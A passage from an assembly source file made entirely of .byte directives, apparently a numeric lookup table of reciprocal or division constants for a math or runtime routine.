0x03 .byte 0x08, 0x00, 0x21, 0x10, 0x08, 0x04, 0x02, 0x01 .byte 0x03, 0x81, 0x40, 0x20, 0x10, 0x08, 0x04, 0x02 .byte 0x08, 0x00, 0x02, 0x01, 0x01, 0x01, 0x01, 0x01 .byte 0x02, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01 .byte 0xc8, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80 .byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 .byte 0x09, 0xfe, 0x00, 0x01, 0xff, 0x00, 0xff, 0x00 .byte 0x02, 0xfe, 0x01, 0xfe, 0x01, 0xfe, 0x01, 0xfe .byte 0x09, 0xfc, 0xe1, 0x0f, 0xf8, 0x03, 0xfe, 0x00 .byte 0xfd, 0x01, 0x7f, 0xc0, 0x1f, 0xf0, 0x07, 0xfc .byte 0x09, 0xfa, 0x10, 0x50, 0xe5, 0x08, 0xfd, 0x00 .byte 0xab, 0x1c, 0xa1, 0x1f, 0xa0, 0xca, 0x11, 0xfa .byte 0x49, 0xf8, 0x10, 0xfc, 0xc0, 0x0f, 0xfc, 0x00 .byte 0x20, 0xf8, 0x81, 0x1f, 0xf8, 0x81, 0x1f, 0xf8 .byte 0x49, 0xf6, 0x07, 0x65, 0x85, 0x18, 0xfb, 0x00 .byte 0x4c, 0x57, 0xbb, 0x0d, 0xca, 0x0a, 0x31, 0xf6 .byte 0x89, 0xf4, 0x53, 0xf2, 0x2c, 0x23, 0xfa, 0x00 .byte 0x80, 0x15, 0x27, 0xa4, 0xe4, 0x59, 0x46, 0xf4 .byte 0x89, 0xf2, 0x19, 0x21, 0xb2, 0x2f, 0xf9, 0x00 .byte 0xcb, 0x50, 0xab, 0x30, 0x42, 0x64, 0x5f, 0xf2 .byte 0xc9, 0xf0, 0xe1, 0x83, 0x0f, 0x3e, 0xf8, 0x00 .byte 0x20, 0x7c, 0xf0, 0xc1, 0x07, 0x1f, 0x7c, 0xf0 .byte 0x09, 0xef, 0x2d, 0xc2, 0x3f, 0x4e, 0xf7, 0x00 .byte 0xea, 0x1e, 0xe0, 0x58, 0x84, 0x7f, 0x9c, 0xee .byte 0x09, 0xed, 0x10, 0x98, 0x3d, 0x60, 0xf6, 0x00 .byte 0xb4, 0x07, 0xcc, 0x1e, 0x30, 0x7b, 0xc0, 0xec .byte 0x49, 0xeb, 0xd1, 0xd5, 0x03, 0x74, 0xf5, 0x00 .byte 0x81, 0xae, 0x1e, 0xa0, 0xab, 0x07, 0xe8, 0xea .byte 0x89, 0xe9, 0x86, 0x5f, 0x8d, 0x89, 0xf4, 0x00 .byte 0xa1, 0x72, 0x76, 0x0b, 0xbf, 0x1a, 0x13, 0xe9 .byte 0xc9, 0xe7, 0xbb, 0x2c, 0xd5, 0xa0, 0xf3, 0x00 .byte 0x6d, 0x46, 0x0e, 0x75, 0x59, 0xaa, 0x41, 0xe7 .byte 0x49, 0xe6, 0x10, 0x48, 0xd6, 0xb9, 0xf2, 0x00 .byte 0xca, 0x3a, 0x57, 0x1e, 0x90, 0xac, 0x73, 0xe5 .byte 0x89, 0xe4, 0xe1, 0xce, 0x8b, 0xd4, 0xf1, 0x00 .byte 0xf5, 0x33, 0xa7, 0xc1, 0x9d, 0x17, 0xa9, 0xe3 .byte 0xc9, 0xe2, 0xf1, 0xf0, 0xf0, 0xf0, 0xf0, 0x00 .byte 0xe2, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1, 0xe1 .byte 0x09, 0xe1, 0x10, 0xf0, 0x00, 0x0f, 0xf0, 0x00 .byte 0x1f, 0xe0, 0x01, 0x1e, 0xe0, 0x01, 0x1e, 0xe0 .byte 0x89, 0xdf, 0xc5, 0x1f, 0xb7, 0x2e, 0xef, 0x00 .byte 0x71, 0xa4, 0x68, 0x88, 0x3f, 0x6e, 0x5d, 0xde .byte 0xc9, 0xdd, 0x01, 0xe5, 0x0e, 0x50, 0xee, 0x00 .byte 0x1e, 0xa0, 0xdc, 0x01, 0xca, 0x1d, 0xa0, 0xdc .byte 0x49, 0xdc, 0xcd, 0xb5, 0x03, 0x73, 0xed, 0x00 .byte 0x61, 0xae, 0x1d, 0x98, 0x6b, 0x07, 0xe6, 0xda .byte 0xc9, 0xda, 0xf4, 0x18, 0x91, 0x97, 0xec, 0x00 .byte 0x44, 0x9b, 0xf8, 0xe7, 0x31, 0x22, 0x2f, 0xd9 .byte 0x09, 0xd9, 0xc2, 0xa5, 0xb2, 0xbd, 0xeb, 0x00 .byte 0x18, 0x39, 0xc3, 0x82, 0x4b, 0x65, 0x7b, 0xd7 .byte 0x89, 0xd7, 0xac, 0x03, 0x64, 0xe5, 0xea, 0x00 .byte 0x1e, 0x20, 0x2b, 0x57, 0x07, 0xc8, 0xca, 0xd5 .byte 0x09, 0xd6, 0x0f, 0xea, 0xa0, 0x0e, 0xea, 0x00 .byte 0x1e, 0xd4, 0x41, 0x1d, 0xd4, 0x41, 0x1d, 0xd4 .byte 0x89, 0xd4, 0xe3, 0x1f, 0x65, 0x39, 0xe9, 0x00 .byte 0xb9, 0xa6, 0xb1, 0xc5, 0x3f, 0xca, 0x72, 0xd2 .byte 0x09, 0xd3, 0x77, 0x7b, 0xac, 0x65, 0xe8, 0x00 .byte 0x2e, 0x43, 0x07, 0xec, 0xf6, 0x58, 0xcb, 0xd0 .byte 0x89, 0xd1, 0x26, 0xe2, 0x72, 0x93, 0xe7, 0x00 .byte 0xb3, 0x61, 0xfc, 0x4b, 0xc4, 0xe5, 0x26, 0xcf .byte 0x09, 0xd0, 0x1d, 0x48, 0xb4, 0xc2, 0xe6, 0x00 .byte 0x13, 0xad, 0xb0, 0x39, 0x90, 0x68, 0x85, 0xcd .byte 0x89, 0xce, 0x0f, 0xb0, 0x6c, 0xf3, 0xe5, 0x00 .byte 0x97, 0x6d, 0xbe, 0x1c, 0x60, 0xd9, 0xe6, 0xcb .byte 0x09, 0xcd, 0xf8, 0x2a, 0x98, 0x25, 0xe5, 0x00 .byte 0x1d, 0x10, 0x19, 0xee, 0x55, 0x30, 0x4b, 0xca .byte 0xc9, 0xcb, 0xdd, 0xd7, 0x32, 0x59, 0xe4, 0x00 .byte 0x1d, 0x20, 0xa4, 0xb8, 0xaf, 0x65, 0xb2, 0xc8 .byte 0x49, 0xca, 0x8f, 0xe3, 0x38, 0x8e, 0xe3, 0x00 .byte 0x1d, 0xc7, 0x71, 0x1c, 0xc7, 0x71, 0x1c, 0xc7 .byte 0xc9, 0xc8, 0x6b, 0x88, 0xa6, 0xc4, 0xe2, 0x00 .byte 0x20, 0x5c, 0x98, 0xd4, 0x10, 0x4d, 0x89, 0xc5 .byte 0x89, 0xc7, 0x20, 0x0e, 0x78, 0xfc, 0xe1, 0x00 .byte 0xc4, 0x01, 0x8f, 0x3f, 0x1c, 0xf0, 0xf8, 0xc3 .byte 0x09, 0xc6, 0x76, 0xc9, 0xa9, 0x35, 0xe1, 0x00 .byte 0x6c, 0xc2, 0x01, 0xea, 0x92, 0x53, 0x6b, 0xc2 .byte 0xc9, 0xc4, 0x0f, 0x1c, 0x38, 0x70, 0xe0, 0x00 .byte 0x04, 0x07, 0x0e, 0x1c, 0x38, 0x70, 0xe0, 0xc0 .byte 0x89, 0xc3, 0x35, 0x74, 0x1f, 0xac, 0xdf, 0x00 .byte 0xbf, 0xae, 0xd8, 0x68, 0xe8, 0x3e, 0x58, 0xbf .byte 0x09, 0xc2, 0xa1, 0x4c, 0x5c, 0xe9, 0xde, 0x00 .byte 0xaf, 0x74, 0x6f, 0x40, 0x99, 0xb8, 0xd2, 0xbd .byte 0xc9, 0xc0, 0x42, 0x2c, 0xeb, 0x27, 0xde, 0x00 .byte 0xa3, 0xb3, 0xe7, 0x83, 0x58, 0xd6, 0x4f, 0xbc .byte 0x89, 0xbf, 0x0e, 0xa6, 0xc8, 0x67, 0xdd, 0x00 .byte 0x15, 0xf9, 0xac, 0x1b, 0x4c, 0x91, 0xcf, 0xba .byte 0x49, 0xbe, 0xc8, 0x58, 0xf1, 0xa8, 0xdc, 0x00 .byte 0x71, 0x35, 0xf2, 0x8f, 0xb1, 0xe2, 0x51, 0xb9 .byte 0x09, 0xbd, 0xd2, 0xee, 0x61, 0xeb, 0xdb, 0x00 .byte 0xb0, 0xb2, 0x38, 0xa3, 0xdd, 0xc3, 0xd6, 0xb7 .byte 0xc9, 0xbb, 0xf8, 0x1d, 0x17, 0x2f, 0xdb, 0x00 .byte 0x32, 0x52, 0xe0, 0xee, 0x3b, 0x2e, 0x5e, 0xb6 .byte 0x89, 0xba, 0x41, 0xa7, 0x0d, 0x74, 0xda, 0x00 .byte 0x1c, 0xe8, 0xb4, 0x81, 0x4e, 0x1b, 0xe8, 0xb4 .byte 0x49, 0xb9, 0xc1, 0x56, 0x42, 0xba, 0xd9, 0x00 .byte 0x22, 0xdd, 0x6c, 0x80, 0xad, 0x84, 0x74, 0xb3 .byte 0x09, 0xb8, 0x65, 0x03, 0xb2, 0x01, 0xd9, 0x00 .byte 0x1c, 0x90, 0x0d, 0xc8, 0x06, 0x64, 0x03, 0xb2 .byte 0xc9, 0xb6, 0xca, 0x8e, 0x59, 0x4a, 0xd8, 0x00 .byte 0x86, 0x3e, 0x2a, 0x92, 0x1d, 0xb3, 0x94, 0xb0 .byte 0x89, 0xb5, 0x0e, 0xe5, 0x35, 0x94, 0xd7, 0x00 .byte 0xbd, 0x86, 0xf2, 0x1a, 0xca, 0x6b, 0x28, 0xaf .byte 0x49, 0xb4, 0xa5, 0xfc, 0x43, 0xdf, 0xd6, 0x00 .byte 0x1b, 0xe0, 0x05, 0x49, 0xf9, 0x87, 0xbe, 0xad .byte 0x49, 0xb3, 0x2c, 0xd6, 0x80, 0x2b, 0xd6, 0x00 .byte 0x58, 0xac, 0x01, 0x57, 0xac, 0x01, 0x57, 0xac .byte 0x09, 0xb2, 0x40, 0x7c, 0xe9, 0x78, 0xd5, 0x00 .byte 0xa2, 0xca, 0xbf, 0x7e, 0xf8, 0xd2, 0xf1, 0xaa .byte 0xc9, 0xb0, 0x54, 0x03, 0x7b, 0xc7, 0xd4, 0x00 .byte 0x1b, 0xd8, 0x3b, 0xa6, 0x06, 0xf6, 0x8e, 0xa9 .byte 0xc9, 0xaf, 0x88, 0x89, 0x32, 0x17, 0xd4, 0x00 .byte 0x5c, 0x8a, 0x15, 0x0e, 0x13, 0x65, 0x2e, 0xa8 .byte 0x89, 0xae, 0x81, 0x36, 0x0d, 0x68, 0xd3, 0x00 .byte 0x1b, 0xd0, 0xa6, 0x01, 0x6d, 0x1a, 0xd0, 0xa6 .byte 0x89, 0xad, 0x45, 0x3b, 0x08, 0xba, 0xd2, 0x00 .byte 0x57, 0xa1, 0xa4, 0x88, 0x76, 0x10, 0x74, 0xa5 .byte 0x49, 0xac, 0x0e, 0xd2, 0x20, 0x0d, 0xd2, 0x00 .byte 0x1b, 0xa4, 0x41, 0x1a, 0xa4, 0x41, 0x1a, 0xa4 .byte 0x49, 0xab, 0x29, 0x3e, 0x54, 0x61, 0xd1, 0x00 .byte 0xe9, 0x04, 0xca, 0x51, 0x7c, 0xa8, 0xc2, 0xa2 .byte 0x49, 0xaa, 0xd3, 0xcb, 0x9f, 0xb6, 0xd0, 0x00 .byte 0x17, 0x1a, 0xb0, 0xa4, 0x97, 0x3f, 0x6d, 0xa1 .byte 0x09, 0xa9, 0x0e, 0xd0, 0x00, 0x0d, 0xd0, 0x00 .byte 0x1b, 0xa0, 0x01, 0x1a, 0xa0, 0x01, 0x1a, 0xa0 .byte 0x09, 0xa8, 0x82, 0xa8, 0x74, 0x64, 0xcf, 0x00 .byte 0xd3, 0x91, 0x3d, 0x03, 0x51, 0xe9, 0xc8, 0x9e .byte 0x09, 0xa7, 0x5c, 0xbb, 0xf8, 0xbc, 0xce, 0x00 .byte 0x96, 0xd3, 0x82, 0xb6, 0x76, 0xf1, 0x79, 0x9d .byte 0x09, 0xa6, 0x26, 0x77, 0x8a, 0x16, 0xce, 0x00 .byte 0xc3, 0x19, 0x10, 0x4a, 0xee, 0x14, 0x2d, 0x9c .byte 0xc9, 0xa4, 0xa9, 0x52, 0x27, 0x71, 0xcd, 0x00 .byte 0x84, 0xa4, 0x0d, 0x51, 0xa5, 0x4e, 0xe2, 0x9a .byte 0xc9, 0xa3, 0xcd, 0xcc, 0xcc, 0xcc, 0xcc, 0x00 .byte 0x9a, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99 .byte 0xc9, 0xa2, 0x77, 0x6c, 0x78, 0x29, 0xcc, 0x00 .byte 0x3e, 0xf3, 0x0f, 0xec, 0xd8, 0xf0, 0x52, 0x98 .byte 0xc9, 0xa1, 0x66, 0xc0, 0x27, 0x87, 0xcb, 0x00 .byte 0xc1, 0x27, 0x87, 0xcb, 0x80, 0x4f, 0x0e, 0x97 .byte 0xc9, 0xa0, 0x1c, 0x5f, 0xd8, 0xe5, 0xca, 0x00 .byte 0x2b, 0xd9, 0x7a, 0x37, 0xbe, 0xb0, 0xcb, 0x95 .byte 0xc9, 0x9f, 0xb8, 0xe6, 0x87, 0x45, 0xca, 0x00 .byte 0x53, 0x06, 0x9e, 0x6e, 0xcd, 0x0f, 0x8b, 0x94 .byte 0xc9, 0x9e, 0xda, 0xfc, 0x33, 0xa6, 0xc9, 0x00 .byte 0x1a, 0x60, 0xce, 0xb2, 0xf9, 0x67, 0x4c, 0x93 .byte 0xc9, 0x9d, 0x88, 0x4e, 0xda, 0x07, 0xc9, 0x00 .byte 0x5a, 0x8d, 0x22, 0x0e, 0x9d, 0xb4, 0x0f, 0x92 .byte 0x09, 0x9d, 0x0d, 0x90, 0x78, 0x6a, 0xc8, 0x00 .byte 0x13, 0x4f, 0x0d, 0x19, 0x20, 0xf1, 0xd4, 0x90 .byte 0x09, 0x9c, 0xe1, 0x7c, 0x0c, 0xce, 0xc7, 0x00 .byte 0x19, 0x9c, 0x8f, 0xc1, 0xf9, 0x18, 0x9c, 0x8f .byte 0x09, 0x9b, 0x8a, 0xd7, 0x93, 0x32, 0xc7, 0x00 .byte 0x71, 0xf0, 0x73, 0x13, 0xaf, 0x27, 0x65, 0x8e .byte 0x09, 0x9a, 0x81, 0x69, 0x0c, 0x98, 0xc6, 0x00 .byte 0x19, 0x30, 0x8d, 0x01, 0xd3, 0x18, 0x30, 0x8d .byte 0x49, 0x99, 0x18, 0x03, 0x74, 0xfe, 0xc5, 0x00 .byte 0x19, 0xa0, 0xf3, 0x2f, 0x06, 0xe8, 0xfc, 0x8b .byte 0x49, 0x98, 0x60, 0x7b, 0xc8, 0x65, 0xc5, 0x00 .byte 0x38, 0x9a, 0x3a, 0xbf, 0xf6, 0x90, 0xcb, 0x8a .byte 0x49, 0x97, 0x0d, 0xb0, 0x07, 0xce, 0xc4, 0x00 .byte 0xf7, 0xc0, 0x99, 0x18, 0x60, 0x0f, 0x9c, 0x89 .byte 0x89, 0x96, 0x5e, 0x85, 0x2f, 0x37, 0xc4, 0x00 .byte 0x4c, 0x99, 0x04, 0xbb, 0x0a, 0x5f, 0x6e, 0x88 .byte 0x89, 0x95, 0x05, 0xe6, 0x3d, 0xa1, 0xc3, 0x00 .byte 0xe7, 0x8e, 0x2b, 0x09, 0xcc, 0x7b, 0x42, 0x87 .byte 0x89, 0x94, 0x0d, 0xc3, 0x30, 0x0c, 0xc3, 0x00 .byte 0x19, 0x86, 0x61, 0x18, 0x86, 0x61, 0x18, 0x86 .byte 0xc9, 0x93, 0xc1, 0x13, 0x06, 0x78, 0xc2, 0x00 .byte 0x04, 0x3c, 0x61, 0x80, 0x27, 0x0c, 0xf0, 0x84 .byte 0xc9, 0x92, 0x96, 0xd5, 0xbb, 0xe4, 0xc1, 0x00 .byte 0x8f, 0xd2, 0xed, 0x2b, 0xab, 0x77, 0xc9, 0x83 .byte 0x09, 0x92, 0x16, 0x0c, 0x50, 0x52, 0xc1, 0x00 .byte 0x83, 0x01, 0x4a, 0x2a, 0x18, 0xa0, 0xa4, 0x82 .byte 0x49, 0x91, 0xc1, 0xc0, 0xc0, 0xc0, 0xc0, 0x00 .byte 0x82, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81 .byte 0x49, 0x90, 0x01, 0x03, 0x0c, 0x30, 0xc0, 0x00 .byte 0x19, 0x60, 0x80, 0x01, 0x06, 0x18, 0x60, 0x80 .byte 0x89, 0x8f, 0x0c, 0xe8, 0x2f, 0xa0, 0xbf, 0x00 .byte 0xfe, 0x05, 0xf4, 0x17, 0xd0, 0x5f, 0x40, 0x7f .byte 0x89, 0x8e, 0xd3, 0x8a, 0x2a, 0x11, 0xbf, 0x00 .byte 0xba, 0xd1, 0xf1, 0xa4, 0x15, 0x55, 0x22, 0x7e .byte 0xc9, 0x8d, 0xe9, 0x0b, 0xfa, 0x82, 0xbe, 0x00 .byte 0x7e, 0x41, 0x5f, 0xd0, 0x17, 0xf4, 0x05, 0x7d .byte 0x09, 0x8d, 0x71, 0x91, 0x9c, 0xf5, 0xbd, 0x00 .byte 0xb4, 0xbe, 0x17, 0xe0, 0x22, 0x39, 0xeb, 0x7b .byte 0x49, 0x8c, 0x08, 0x47, 0x10, 0x69, 0xbd, 0x00 .byte 0x46, 0x35, 0xcc, 0x0e, 0x8e, 0x20, 0xd2, 0x7a .byte 0x49, 0x8b, 0xb2, 0x5d, 0x53, 0xdd, 0xbc, 0x00 .byte 0xf7, 0xb6, 0x98, 0x63, 0xbb, 0xa6, 0xba, 0x79 .byte 0x89, 0x8a, 0xc6, 0x0b, 0x64, 0x52, 0xbc, 0x00 .byte 0x79, 0x81, 0x4c, 0x8a, 0x17, 0xc8, 0xa4, 0x78 .byte 0xc9, 0x89, 0xd7, 0x8c, 0x40, 0xc8, 0xbb, 0x00 .byte 0x42, 0xd3, 0x60, 0xac, 0x19, 0x81, 0x90, 0x77 .byte 0x09, 0x89, 0xa6, 0x21, 0xe7, 0x3e, 0xbb, 0x00 .byte 0x18, 0x10, 0x9b, 0x4a, 0x43, 0xce, 0x7d, 0x76 .byte 0x49, 0x88, 0x0c, 0x10, 0x56, 0xb6, 0xba, 0x00 .byte 0xc3, 0xca, 0x56, 0x17, 0x20, 0xac, 0x6c, 0x75 .byte 0x89, 0x87, 0xe9, 0xa2, 0x8b, 0x2e, 0xba, 0x00 .byte 0x18, 0x5d, 0x74, 0xd1, 0x45, 0x17, 0x5d, 0x74 .byte 0xc9, 0x86, 0x10, 0x2a, 0x86, 0xa7, 0xb9, 0x00 .byte 0x10, 0xcb, 0xe8, 0x1f, 0x54, 0x0c, 0x4f, 0x73 .byte 0x09, 0x86, 0x37, 0xfa, 0x43, 0x21, 0xb9, 0x00 .byte 0x5d, 0xc0, 0xeb, 0x6d, 0xf4, 0x87, 0x42, 0x72 .byte 0x49, 0x85, 0xe4, 0x6c, 0xc3, 0x9b, 0xb8, 0x00 .byte 0x75, 0x8a, 0xc0, 0xc7, 0xd9, 0x86, 0x37, 0x71 .byte 0x89, 0x84, 0x5d, 0xe0, 0x02, 0x17, 0xb8, 0x00 .byte 0xe1, 0x02, 0x17, 0xb8, 0xc0, 0x05, 0x2e, 0x70 .byte 0xc9, 0x83, 0x94, 0xb7, 0x00, 0x93, 0xb7, 0x00 .byte 0x27, 0x6f, 0x01, 0x26, 0x6f, 0x01, 0x26, 0x6f .byte 0x09, 0x83, 0x1a, 0x5a, 0xbb, 0x0f, 0xb7, 0x00 .byte 0xb2, 0x6c, 0x7c, 0x33, 0xb4, 0x76, 0x1f, 0x6e .byte 0x49, 0x82, 0x0f, 0x34, 0x31, 0x8d, 0xb6, 0x00 .byte 0xb1, 0x0f, 0x86, 0x1c, 0x68, 0x62, 0x1a, 0x6d .byte 0x89, 0x81, 0x0c, 0xb6, 0x60, 0x0b, 0xb6, 0x00 .byte 0x17, 0x6c, 0xc1, 0x16, 0x6c, 0xc1, 0x16, 0x6c .byte 0xc9, 0x80, 0x19, 0x55, 0x48, 0x8a, 0xb5, 0x00 .byte 0xc8, 0xcf, 0xa3, 0x31, 0xaa, 0x90, 0x14, 0x6b .byte 0x09, 0x80, 0x9c, 0x8a, 0xe6, 0x09, 0xb5, 0x00 .byte 0x3f, 0x04, 0x29, 0x37, 0x15, 0xcd, 0x13, 0x6a .byte 0x49, 0x7f, 0x47, 0xd4, 0x39, 0x8a, 0xb4, 0x00 .byte 0x2e, 0xfd, 0x0b, 0x8d, 0xa8, 0x73, 0x14, 0x69 .byte 0x89, 0x7e, 0x0c, 0xb4, 0x40, 0x0b, 0xb4, 0x00 .byte 0x17, 0x68, 0x81, 0x16, 0x68, 0x81, 0x16, 0x68 .byte 0x09, 0x7e, 0x0c, 0xb0, 0xf9, 0x8c, 0xb3, 0x00 .byte 0x37, 0x9f, 0x71, 0x16, 0x60, 0xf3, 0x19, 0x67 .byte 0x49, 0x7d, 0x8a, 0x52, 0x63, 0x0f, 0xb3, 0x00 .byte 0x17, 0x90, 0x2f, 0x12, 0xa5, 0xc6, 0x1e, 0x66 .byte 0x89, 0x7c, 0xdb, 0x29, 0x7c, 0x92, 0xb2, 0x00 .byte 0x9f, 0x33, 0xaa, 0xb4, 0x53, 0xf8, 0x24, 0x65 .byte 0x09, 0x7c, 0x5a, 0xc8, 0x42, 0x16, 0xb2, 0x00 .byte 0xc9, 0x42, 0x16, 0xb2, 0x90, 0x85, 0x2c, 0x64 .byte 0x49, 0x7b, 0x57, 0xc4, 0xb5, 0x9a, 0xb1, 0x00 .byte 0x17, 0xe0, 0x0d, 0xac, 0x88, 0x6b, 0x35, 0x63 .byte 0x89, 0x7a, 0x0c, 0xb8, 0xd3, 0x1f, 0xb1, 0x00 .byte 0x78, 0xfa, 0x23, 0x16, 0x70, 0xa7, 0x3f, 0x62 .byte 0x09, 0x7a, 0x8e, 0x41, 0x9b, 0xa5, 0xb0, 0x00 .byte 0xa7, 0x3a, 0xe9, 0x1a, 0x83, 0x36, 0x4b, 0x61 .byte 0x49, 0x79, 0xc1, 0x02, 0x0b, 0x2c, 0xb0, 0x00 .byte 0x17, 0x58, 0x60, 0x81, 0x05, 0x16, 0x58, 0x60 .byte 0x89, 0x78, 0x4a, 0xa1, 0x21, 0xb3, 0xaf, 0x00 .byte 0x1d, 0xbe, 0xdf, 0x92, 0x42, 0x43, 0x66, 0x5f .byte 0x09, 0x78, 0x81, 0xc6, 0xdd, 0x3a, 0xaf, 0x00 .byte 0xbc, 0x75, 0x5e, 0x01, 0x8d, 0xbb, 0x75, 0x5e .byte 0x49, 0x77, 0x68, 0x1f, 0x3e, 0xc3, 0xae, 0x00 .byte 0x4a, 0x53, 0x2a, 0xce, 0x3e, 0x7c, 0x86, 0x5d .byte 0xc9, 0x76, 0x99, 0x5c, 0x41, 0x4c, 0xae, 0x00 .byte 0x63, 0x72, 0x05, 0x31, 0xb9, 0x82, 0x98, 0x5c .byte 0x09, 0x76, 0x40, 0x32, 0xe6, 0xd5, 0xad, 0x00 .byte 0x0d, 0x15, 0xa9, 0x7f, 0x64, 0xcc, 0xab, 0x5b .byte 0x89, 0x75, 0x0b, 0x58, 0x2b, 0x60, 0xad, 0x00 .byte 0x6c, 0x05, 0xac, 0x15, 0xb0, 0x56, 0xc0, 0x5a .byte 0xc9, 0x74, 0x1f, 0x89, 0x0f, 0xeb, 0xac, 0x00 .byte 0x77, 0xa3, 0xca, 0x3c, 0x12, 0x1f, 0xd6, 0x59 .byte 0x49, 0x74, 0x0b, 0x84, 0x91, 0x76, 0xac, 0x00 .byte 0x31, 0xd2, 0x8e, 0x15, 0x08, 0x23, 0xed, 0x58 .byte 0x89, 0x73, 0xc1, 0x0a, 0xb0, 0x02, 0xac, 0x00 .byte 0x59, 0x01, 0x56, 0x80, 0x15, 0x60, 0x05, 0x58 .byte 0x09, 0x73, 0x84, 0xe2, 0x69, 0x8f, 0xab, 0x00 .byte 0x23, 0x9a, 0xb3, 0x06, 0xc5, 0xd3, 0x1e, 0x57 .byte 0x49, 0x72, 0xe3, 0xd3, 0xbd, 0x1c, 0xab, 0x00 .byte 0xc0, 0x1e, 0x2e, 0xc5, 0xa7, 0x7b, 0x39, 0x56 .byte 0xc9, 0x71, 0xab, 0xaa, 0xaa, 0xaa, 0xaa, 0x00 .byte 0x56, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 .byte 0x49, 0x71, 0xdd, 0x35, 0x2f, 0x39, 0xaa, 0x00 .byte 0x16, 0xe0, 0x2f, 0xb8, 0x6b, 0x5e, 0x72, 0x54 .byte 0x89, 0x70, 0xa1, 0x47, 0x4a, 0xc8, 0xa9, 0x00 .byte 0x70, 0xac, 0xfe, 0x40, 0x8f, 0x94, 0x90, 0x53 .byte 0x09, 0x70, 0x41, 0xb5, 0xfa, 0x57, 0xa9, 0x00 .byte 0xfe, 0xab, 0x54, 0x80, 0x6a, 0xf5, 0xaf, 0x52 .byte 0x89, 0x6f, 0x18, 0x57, 0x3f, 0xe8, 0xa8, 0x00 .byte 0xd1, 0x51, 0x81, 0x2f, 0xae, 0x7e, 0xd0, 0x51 .byte 0xc9, 0x6e, 0x8f, 0x08, 0x17, 0x79, 0xa8, 0x00 .byte 0xdf, 0x56, 0x4c, 0x1c, 0x11, 0x2e, 0xf2, 0x50 .byte 0x49, 0x6e, 0x0b, 0xa8, 0x80, 0x0a, 0xa8, 0x00 .byte 0x16, 0x50, 0x01, 0x15, 0x50, 0x01, 0x15, 0x50 .byte 0xc9, 0x6d, 0xeb, 0x16, 0x7b, 0x9c, 0xa7, 0x00 .byte 0x45, 0xa8, 0xc9, 0xd4, 0x2d, 0xf6, 0x38, 0x4f .byte 0x49, 0x6d, 0x79, 0x39, 0x05, 0x2f, 0xa7, 0x00 .byte 0x83, 0x97, 0x53, 0xf0, 0x72, 0x0a, 0x5e, 0x4e .byte 0xc9, 0x6c, 0xe2, 0xf6, 0x1d, 0xc2, 0xa6, 0x00 .byte 0x00, 0xb9, 0xc4, 0xc2, 0xed, 0x3b, 0x84, 0x4d .byte 0x09, 0x6c, 0x2e, 0x39, 0xc4, 0x55, 0xa6, 0x00 .byte 0x50, 0xe7, 0xf6, 0x5a, 0x72, 0x88, 0xab, 0x4c .byte 0x89, 0x6b, 0x35, 0xed, 0xf6, 0xe9, 0xa5, 0x00 .byte 0x43, 0x0e, 0xfe, 0x68, 0xda, 0xed, 0xd3, 0x4b .byte 0x09, 0x6b, 0x96, 0x02, 0xb5, 0x7e, 0xa5, 0x00 .byte 0x15, 0xa8, 0xf5, 0x2b, 0x05, 0x6a, 0xfd, 0x4a .byte 0x89, 0x6a, 0xb1, 0x6b, 0xfd, 0x13, 0xa5, 0x00 .byte 0x80, 0xa2, 0x14, 0x60, 0xd7, 0xfa, 0x27, 0x4a .byte 0x09, 0x6a, 0x97, 0x1d, 0xcf, 0xa9, 0xa4, 0x00 .byte 0xa3, 0x6e, 0x06, 0x2d, 0x3b, 0x9e, 0x53, 0x49 .byte 0x89, 0x69, 0x0b, 0x10, 0x29, 0x40, 0xa4, 0x00 .byte 0x23, 0x05, 0x88, 0x14, 0x20, 0x52, 0x80, 0x48 .byte 0xc9, 0x68, 0x71, 0x3d, 0x0a, 0xd7, 0xa3, 0x00 .byte 0x15, 0xae, 0x47, 0xe1, 0x7a, 0x14, 0xae, 0x47 .byte 0x49, 0x68, 0xcc, 0xa2, 0x71, 0x6e, 0xa3, 0x00 .byte 0x51, 0x62, 0x06, 0x96, 0x45, 0xe3, 0xdc, 0x46 .byte 0xc9, 0x67, 0xaf, 0x3f, 0x5e, 0x06, 0xa3, 0x00 .byte 0xc1, 0xa1, 0xf9, 0x5c, 0x7f, 0xbc, 0x0c, 0x46 .byte 0x49, 0x67, 0x3c, 0x16, 0xcf, 0x9e, 0xa2, 0x00 .byte 0x15, 0xa0, 0x6c, 0x77, 0x2c, 0x9e, 0x3d, 0x45 .byte 0xc9, 0x66, 0x17, 0x2b, 0xc3, 0x37, 0xa2, 0x00 .byte 0xe5, 0xae, 0x9f, 0x2d, 0x56, 0x86, 0x6f, 0x44 .byte 0x49, 0x66, 0x60, 0x85, 0x39, 0xd1, 0xa1, 0x00 .byte 0xdc, 0xd1, 0xe4, 0xbe, 0x0a, 0x73, 0xa2, 0x43 .byte 0xc9, 0x65, 0xa9, 0x2e, 0x31, 0x6b, 0xa1, 0x00 .byte 0xfa, 0x6e, 0xf8, 0x51, 0x5d, 0x62, 0xd6, 0x42 .byte 0x49, 0x65, 0xf3, 0x32, 0xa9, 0x05, 0xa1, 0x00 .byte 0x3e, 0x12, 0x95, 0xe5, 0x65, 0x52, 0x0b, 0x42 .byte 0xc9, 0x64, 0xa1, 0xa0, 0xa0, 0xa0, 0xa0, 0x00 .byte 0x42, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41 .byte 0x49, 0x64, 0x74, 0x88, 0x16, 0x3c, 0xa0, 0x00 .byte 0x65, 0x60, 0x56, 0xe6, 0x10, 0x2d, 0x78, 0x40 .byte 0xc9, 0x63, 0x81, 0xfd, 0x09, 0xd8, 0x9f, 0x00 .byte 0x14, 0xb0, 0x3f, 0x01, 0xfb, 0x13, 0xb0, 0x3f .byte 0x49, 0x63, 0x2e, 0x15, 0x7a, 0x74, 0x9f, 0x00 .byte 0xa1, 0x6d, 0xf0, 0x5a, 0x2a, 0xf4, 0xe8, 0x3e .byte 0xc9, 0x62, 0x26, 0xe7, 0x65, 0x11, 0x9f, 0x00 .byte 0xc5, 0x27, 0x90, 0x4a, 0xce, 0xcb, 0x22, 0x3e .byte 0x49, 0x62, 0x54, 0x8d, 0xcc, 0xae, 0x9e, 0x00 .byte 0xbe, 0x5b, 0x5c, 0xa7, 0x1a, 0x99, 0x5d, 0x3d 